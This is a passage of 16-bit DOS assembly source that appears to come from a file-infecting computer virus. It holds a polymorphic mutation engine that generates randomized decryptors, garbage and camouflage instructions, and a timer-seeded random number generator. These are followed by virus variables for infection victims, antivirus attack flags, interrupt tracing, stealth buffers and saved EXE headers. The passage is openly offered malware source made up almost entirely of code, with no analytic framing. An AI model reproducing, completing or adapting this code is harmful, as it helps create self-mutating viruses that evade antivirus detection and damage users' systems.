al,255*2/5 ja mrmMethod_C cmp al,255*1/5 ja mrmMethod_B mrmMethod_A: pop ax add al,MOV_RwDw stosb xchg ax,dx stosw ret mrmMethod_B: pop ax add al,MOV_RwDw stosb call Full_Random stosw pusha ; call Garbler popa push ax ; = const. mov ax,ADD_AllRwDw add ah,bl ; BL=Reg. stosw pop ax sub dx,ax xchg ax,dx stosw ret mrmMethod_C: pop ax add al,MOV_RwDw stosb call Full_Random stosw pusha ;; call Garbler popa push ax ; = const. mov ax,SUB_AllRwDw add ah,bl ; BL=Reg. stosw pop ax sub ax,dx stosw ret mrmMethod_D: pop ax add al,MOV_RwDw stosb call Full_Random stosw pusha ;; call Garbler popa push ax ; = const. mov ax,XOR_AllRwDw add ah,bl ; BL=Reg. stosw pop ax xor ax,dx stosw ret mrmMethod_E: mov al,08dh ; LEA reg,[word] == '8D | (reg*8)+6 | word' stosb pop ax shl al,3 ; AL:=AL*8 add al,6 stosb mov ax,dx stosw ret MutatedRegMove ENDP ;---------------------------------------------------------------------------- ; 50 % ==> ZF - jz ; 50 % ==> NZ - jnz ;---------------------------------------------------------------------------- OneInTwo proc near push ax call Full_Random test al,1 pop ax ret OneInTwo endp ;---------------------------------------------------------------------------- ; 33 % ==> ZR - jz ; 33 % ==> CY - jc ; 34 % ==> NZ+NC - jnz AND jnc ;---------------------------------------------------------------------------- OneInThree proc near push ax call Full_Random cmp al,(255/3)*1 jae Is_2nd_or_3rd Is_1st: cmp al,al ; --> ZR clc ; NC pop ax ret Is_2nd_or_3rd: cmp al,(255/3)*2 jb Is_2nd ; --> CY,NZ Is_3rd: mov ax,1 cmp al,ah ; --> NC,NZ pop ax ret Is_2nd: pop ax ret OneInThree endp ;---------------------------------------------------------------------------- ; Gives a random number between 0-65535 in AX ;---------------------------------------------------------------------------- Full_Random proc near mov ax,-2 call Random ret Full_Random endp DefineRegisters equ $ DecryptorRegs equ $ Index_Reg db __SI Counter_Reg db __AX Key_Reg db __DX DecryptorRegsEnd equ $ GarblerRegs equ $ GarblerReg1 db __BX GarblerReg2 db __CX GarblerReg3 db __DI GarblerReg4 db __BP GarblerRegsEnd equ $ DefineRegistersEnd equ $ GarblerByteRegisters equ $ ByteReg1 db -1 ByteReg2 db -1 ByteReg3 db -1 ByteReg4 db -1 ByteReg5 db -1 ByteReg6 db -1 ByteReg7 db -1 ByteReg8 db -1 GarblerByteRegistersEnd equ $ RegistersAll equ $ _AX db 0 _CX db 1 _DX db 2 _BP db 5 RegistersIndex equ $ _BX db 3 _SI db 6 _DI db 7 RegistersEnd equ $ One_Byte_Inst equ $ clc stc cmc cld nop EO_One_Byte_Inst equ $ MOV__ = 89h CMP__ = 39h ADC__ = 11h ADD__ = 01h SUB__ = 29h SBB__ = 19h XOR__ = 31h OR__ = 09h AND__ = 21h TEST__ = 85h ; "TEST RW,[bx+di]" is not legal ! GarblerInstCheckZero equ $ OR_cz db 09h ; OR AX,AX AND_cz db 21h TEST_cz db 85h GarblerInstCheckZeroEnd equ $ EncMethodTable equ $ ; , db 31h,31h ; XOR, XOR db 01h,29h ; ADD, SUB db 29h,01h ; SUB, ADD EncMethodTableEnd equ $ GarblerAssumeSegTab equ $ ASSUME_CS db 2eh ASSUME_DS db 3eh ASSUME_ES db 26h ASSUME_SS db 36h GarblerAssumeSegTabEnd equ $ PtrRegisters equ $ PTR_BXSI db 0 PTR_BXDI db 1 PTR_BPSI db 2 PTR_BPDI db 3 PTR_SI db 4 PTR_DI db 5 PTR_BX db 7 PtrRegistersEnd equ $ Camouf equ $ db 080h, 3Eh ; cmp [DW] ,DB db 083h, 3Eh ; cmp [DW] ,DB word ptr db 0F6h, 06h ; test [DW] ,DB db 080h,0B8h ; cmp [PTR+DW],DB db 083h,0B8h ; cmp [PTR+DW],DB word ptr db 081h, 78h ; cmp [PTR+DB],DW db 0F6h, 80h ; test [PTR+DW],DB db 0F7h, 40h ; test [PTR+DB],DW EO_Camouf equ $ Camouf_1B equ $ db 039h,00Eh db 039h,01Eh db 0F7h,0C1h db 085h,006h db 085h,084h Camouf_1B_End equ $ Inst_Reg_Zero equ $ ADD_RegBase db 0C0h SUB_RegBase db 0E8h CMP_RegBase db 0F8h Inst_Reg_Zero_End equ $ __AX = 0 __CX = 1 __DX = 2 __BX = 3 __BP = 5 __SI = 6 __DI = 7 __AL = 0 __CL = 1 __DL = 2 __BL = 3 __AH = 4 __CH = 5 __DH = 6 __BH = 7 __PTR_BXSI = 0 __PTR_BXDI = 1 __PTR_BPSI = 2 __PTR_BPDI = 3 __PTR_SI = 4 __PTR_DI = 5 __PTR_BX = 7 ByteRegPrefix = 83h Free = -1 CMP_RwRw_ = 39h TEST_RwRw_ = 85h INDIRECT = 0FFh PUSH_Rw = 50h POP_Rw = 58h PUSH_Dw = 68h MOV_RwDw = 0b8h MOV_RwRw_ = 89h ; mov Rb,xx ist 2-Bytes lang ! XOR_PtrRwRw = 31h XOR_PtrRwRw_Cor = 04h Rw1Rw1_Cor = 0c0h INC_Rw = 40h DEC_Rw = 48h ;---------------------------------------------------------------------------- ; Inits Init_Nr from timer ;---------------------------------------------------------------------------- Randomize proc near push ds push 0 pop ds mov ax,ds:[46ch] ; = timer cell pop ds mov cs:InitNr,ax ret Randomize endp ;---------------------------------------------------------------------------- ; RNG ( = Random Numers Generator ) ; Gives you a pseudo-random number in AX where 0 >= number > AX ;---------------------------------------------------------------------------- RANDOM proc near push bx cx dx mov bx,cs:InitNr mov cl,cs:Cycle rol bx,cl rol bx,1 inc bx rol bx,1 rol bx,1 mov cs:InitNr,bx mul bx xchg ax,dx add cs:Cycle,dl pop dx cx bx ret Cycle db 0 InitNr dw 0 RANDOM endp adjust_IndexRegValue dw ? adjust_EncInstruction dw ? adjust_JumpArgument dw ? adjust_DecryptorEnd dw ? LastOpcode db ? FL_PUSHPOP_Direction db ? PUSHPOP_Counter dw ? ;---------------------------------------------------------------------------- ; Constructs a MOV xH,byte1 and MOV xL,byte2 ; ; Args: AL = Register ; DX = Word-value ; ; If Register in [SI,DI,BP] then constructs a MOV xX,Word ;---------------------------------------------------------------------------- MOV_RW__To_MOV_Rb proc near cmp al,__BX ;== 3 jbe p_In_FirstFourReg add al,MOV_RwDw stosb mov ax,dx stosw jmp p_Load_Key_Done p_In_FirstFourReg: ;Make: MOV AL,xx MOV AH,xx push ax add al,Op_MOV_ByteReg_Byte mov ah,dl stosw ;lo byte pop ax add al,Op_MOV_ByteReg_Byte +4 mov ah,dh stosw ;hi byte p_Load_Key_Done: ret MOV_RW__To_MOV_Rb endp ;==============================================[ End of include SPM34.ASM ]== End_Enc_Code equ $ ;---------------------------------------------------------------------------- ; Variables: DummyWord dw ? DriveNr db ? TracerTmp_Seg dw ? TracerTmp_Ofs dw ? CallStatus db 0 VirModus db 0 TimerCell_1 dw 0 TimerCell_2 dw 0 Victim_Len dw 0 Handle dw 0 AttackAV db 0 NamePtr equ $ NameDX dw 0 NameDS dw 0 Old_Time dw 0 Old_Date dw 0 Old_Attribs db 0 Mem_Strat dw 0 UMB_Strat db 0 File_SizeLo dw 0 File_SizeHi dw 0 HimemEP_ofs dw 0 HimemEP_seg dw 0 Alloc_Status db 0 OldPSP dw 0 FirstMCB dw 0 OldInt1_Ofs dw 0 OldInt1_Seg dw 0 Flag_InfectClose db 0 TracerSuccess db 0 HookedFunction db 0 Buffer ExeH < > ReadBuf_Length equ $-Ofs Buffer OrigHeaderBuffer db HeaderLength dup ('S') StealthBuffer equ ofs OrigHeaderBuffer BytesRead dw 0 BufferSeg dw 0 BufferOfs dw 0 PreReadPosLo dw 0 PreReadPosHi dw 0 CarrierSizeLo dw 0 CarrierSizeHi dw 0 End_Mark equ $ Enc_Buffer equ $ Code ends end Sample ;=======================================================================END==